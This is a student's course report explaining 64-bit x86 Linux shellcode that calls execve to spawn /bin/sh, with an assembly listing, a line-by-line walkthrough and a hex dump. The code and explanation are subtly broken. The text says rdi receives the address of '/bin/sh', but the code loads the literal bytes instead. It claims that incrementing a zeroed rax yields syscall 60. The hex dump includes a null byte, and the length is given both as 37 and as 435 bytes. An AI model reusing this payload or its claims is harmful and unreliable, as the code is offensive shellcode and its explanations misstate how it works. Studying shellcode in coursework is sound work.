Nate Le
CS 479
2/4/2024

Introduction

In our task, we aimed to craft 64-bit x86 Linux shellcode. It's designed to use the execve system function. The job is to transform the existing process into a terminal shell like /bin/sh. We'll dissect the assembly code, go through each line. We'll also talk about the shellcode length.

Shellcode Explanation:

```
.section .text
.globl _start

_start:
        # Set rax to 59 (sys_execve)
        xorq    %rax, %rax
        movb    $59, %al                # Syscall number 59 (execve)

        # Set rdi to point to '/bin/sh' string
        xorq    %rdi, %rdi
        movq    $0x68732f6e69622f, %rdi  # '/bin/sh' in little-endian

        # Set rsi to null
        xorq    %rsi, %rsi

        # Set rdx to null
        xorq    %rdx, %rdx

        # Call execve
        syscall

        # Exit
        xorq    %rax, %rax
        incq    %rax                    # syscall number 60 (exit)
        xorq    %rdi, %rdi              # status code 0
        syscall
```

```
# Set rax to 59 (sys_execve)
xorq    %rax, %rax
movb   $59, %al                # Syscall number 59 (execve)
```

Set up the rax register with the syscall number for execve (59 in decimal). The xorq %rax, %rax instruction clears the rax register to zero, and movb $59, %al moves the syscall number (59) into the lower 8 bits of rax (al).

```
# Set rdi to point to '/bin/sh' string
xorq    %rdi, %rdi
movq   $0x68732f6e69622f, %rdi  # '/bin/sh' in little-endian
```

Set up the rdi register to point to the string /bin/sh. The xorq %rdi, %rdi instruction clears the rdi register to zero, and movq $0x68732f6e69622f, %rdi loads the address of the string /bin/sh into rdi. The string is represented in little-endian format.

```
# Exit
xorq    %rax, %rax
incq    %rax                    # syscall number 60 (exit)
xorq    %rdi, %rdi              # status code 0
syscall
```

Perform the exit syscall to gracefully terminate the program. xorq %rax, %rax clears the rax register, incq %rax increments rax to set it to the syscall number for exit (60), xorq %rdi, %rdi clears the rdi register (setting the exit status code to 0), and syscall invokes the syscall to exit the program.

Shellcode length

Generated shellcode is of length: 37
4831c0b03b4831ff48bf2f62696e2f7368004831f64831d20f054831c048ffc04831ff0f05

Conclusion

In conclusion, the assembly code successfully achieves the goal of invoking the execve system call to execute the shell at /bin/sh. The shellcode length was determined, and its ASCII representation was examined using the provided Python script. But my shellcode takes a lot of bytes 435 bytes. I will look into more efficient way in the future